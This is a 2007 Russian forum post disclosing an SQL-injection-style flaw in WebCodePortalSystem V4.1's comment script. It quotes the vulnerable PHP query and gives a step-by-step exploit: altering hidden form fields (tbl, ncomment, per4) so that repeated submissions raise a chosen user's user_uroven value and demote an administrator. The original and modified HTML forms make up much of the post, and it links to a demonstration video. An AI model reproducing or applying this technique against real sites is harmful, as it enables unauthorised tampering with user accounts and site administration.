Показать сообщение отдельно

  #7  
Старый 29.12.2007, 19:32
Grey
Познавший АНТИЧАТ
Регистрация: 10.06.2006
Сообщений: 1,113
С нами: 10483586

Репутация: 5826


По умолчанию

WebCodePortalSystem V4.1 (новая версия) + ВИДЕО

!!! [Понижение прав админа] !!!

Очень интересная уязвимость позволяет понизить права пользователя. Но она самом деле sql инъекция.

В файле mod/comment/ --> add.php <--

Есть запрос вида:

PHP код:
MYSQL_QUERY("update `".$wcpref."$tbl` SET $ncomment=$ncomment+1 where id='$per4'"); 
Очень классно если учесть, что параметры $tbl, $ncomment и $per4 мы можем менять...

Получаем возможность увеличить содержимое любой колонки на 1.

Самое нормальное где это можно применить - это в таблице с пользователями - увеличив значение поля user_uroven на 1 тем самым изменив права пользователя (понизить права).

Права админа: user_uroven = 1
Права пользователя: user_uroven = 3

Значит нам нужно будет провести операцию два раза - но это не проблема.

---------Как делать--------------

Заходим в "Новости", выбираем какую нидь новость (нажимаем "Читать") -> "Добавить комментарий".

Дальше лезем в исходник страницы (в Опере: Вид -> Исходный текст).

Находим вот такую форму:

Код:
        <form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">
        <TR class=even><TD>Nik:</TD><TD><b>123123123</b></TD></TR>
        <TR class=odd><TD>Ваш E-Mail:</TD><TD><b>123123@213.ru</b></TD></TR>
        <TR class=even><TD colspan=2>Комментарий:</TD></TR>
        <TR class=odd><TD colspan=2><textarea name="per1" cols="65" rows="8" style="width: 100%;"></textarea></TD></TR>
        <TR class=even><TD colspan=2>HTML-теги Вырезаются!!!</TD></TR>
        <TR class=odd><TD> </TD><TD>
        <input type='hidden' name='per4' value="25">
        <input type='hidden' name='per5' value="&fla=stat&cat_id=1&nums=25">
        <input type='hidden' name='mod' value="news">
        <input type='hidden' name='ncomment' value="comments">
        <input type='hidden' name='tbl' value="news_stat">
        <input type='submit' value="Добавить"></TD></TR>
        </form>
И меняем её следующим образом:

Код:
        <form action="http://test2.ru/index.php?nma=comment&fla=add" method=post name=form onsubmit="return JScheckForm(this)">
        <TR class=even><TD>Nik:</TD><TD><b>123123123</b></TD></TR>
        <TR class=odd><TD>Ваш E-Mail:</TD><TD><b>123123@213.ru</b></TD></TR>
        <TR class=even><TD colspan=2>Комментарий:</TD></TR>
        <TR class=odd><TD colspan=2><textarea name="per1" cols="65" rows="8" style="width: 100%;"></textarea></TD></TR>
        <TR class=even><TD colspan=2>HTML-теги Вырезаются!!!</TD></TR>
        <TR class=odd><TD> </TD><TD>
        <input type='hidden' name='per4' value="2">
        <input type='hidden' name='per5' value="&fla=stat&cat_id=1&nums=2">
        <input type='hidden' name='mod' value="news">
        <input type='hidden' name='ncomment' value="user_uroven">
        <input type='hidden' name='tbl' value="user">
        <input type='submit' value="Добавить"></TD></TR>
        </form>
Сохраняем изменения и добавляем коммент (текст коммента не имеет значения - что угодно).

Получится что в таблице user (знать префикс не нужно, он приклеится сам) у пользователя с id = 2 (в данном случае) в поле user_uroven значение увеличится на 1.

Как я уже сказал выше нужно что бы значение было равно 3, а не 2. По этому проделываем операцию еще раз.

Все - пользователь больше не админ.

Видео:

http://rapidshare.com/files/79874554/heck3.rar.html

Последний раз редактировалось Grey; 29.12.2007 в 21:06..
 
Ответить с цитированием